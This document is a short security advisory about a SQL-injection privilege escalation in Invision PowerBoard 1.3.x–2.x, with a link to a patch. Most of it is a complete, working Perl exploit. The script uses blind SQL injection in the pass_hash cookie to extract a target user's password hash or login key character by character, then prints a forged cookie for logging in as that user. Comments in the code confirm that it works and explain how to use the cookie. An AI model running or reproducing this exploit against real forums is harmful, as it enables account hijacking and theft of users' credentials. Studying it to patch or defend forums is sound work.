[HSC Security Group] Invision PowerBoard 1.3.x - 2-x Exploit and Patch

[zinho@xxxxxxxxxxxxxxxxx]

Hackers Center Security Group (http://www.hackerscenter.com/)
Zinho's Security Advisory

Desc: Invision PowerBoard 1.3.x - 2.x Privilege escalation through SQL injection
Risk: High


hacky0u from http://www.h4cky0u.org kindly reported to me an exploit working against 1.3.x and 2.x versions of Invision Power board.

I've coded a quickfix to patch it:
http://www.hackerscenter.com/archive/view.asp?id=3812



This is the exploit (Full credit to h4cky0u for it):
#!/usr/bin/perl -w

##################################################################
# This one actually works :) Just paste the outputted cookie into
# your request header using livehttpheaders or something and you
# will probably be logged in as that user. No need to decrypt it!
# Exploit coded by "ReMuSOMeGa & Nova" and http://www.h4cky0u.org
##################################################################

use LWP::UserAgent;

$ua = new LWP::UserAgent;
$ua->agent("Mosiac 1.0" . $ua->agent);

if (!$ARGV[0]) {$ARGV[0] = '';}
if (!$ARGV[3]) {$ARGV[3] = '';}

my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin';
my $user = $ARGV[1]; # userid to jack
my $iver = $ARGV[2]; # version 1 or 2
my $cpre = $ARGV[3]; # cookie prefix
my $dbug = $ARGV[4]; # debug?

if (!$ARGV[2])
{
print "..By ReMuSoMeGa & Nova. Usage: ipb.pl http://forums.site.org [id] [ver 1/2]. ";
exit;
}

my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");

my $outputs = '';

for( $i=1; $i < 33; $i++ )
{
for( $j=0; $j < 16; $j++ )
{
my $current = $charset[$j];
my $sql = ( $iver < 2 ) ? "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2527$current%2527)/*" :
"99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i,1)%3d%2527$current%2527)/*";
my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql);
my $res = $ua->get($path, @cookie);

# If we get a valid sql request then this
# does not appear anywhere in the sources
$pattern = '<title>(.*)Log In(.*)</title>';

$_ = $res->content;

if ($dbug) { print };

if ( !(/$pattern/) )
{
$outputs .= $current;
print "$current ";
last;
}

}
if ( length($outputs) < 1 ) { print "Not Exploitable! "; exit; }
}
print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs;
exit;

# www.h4cky0u.org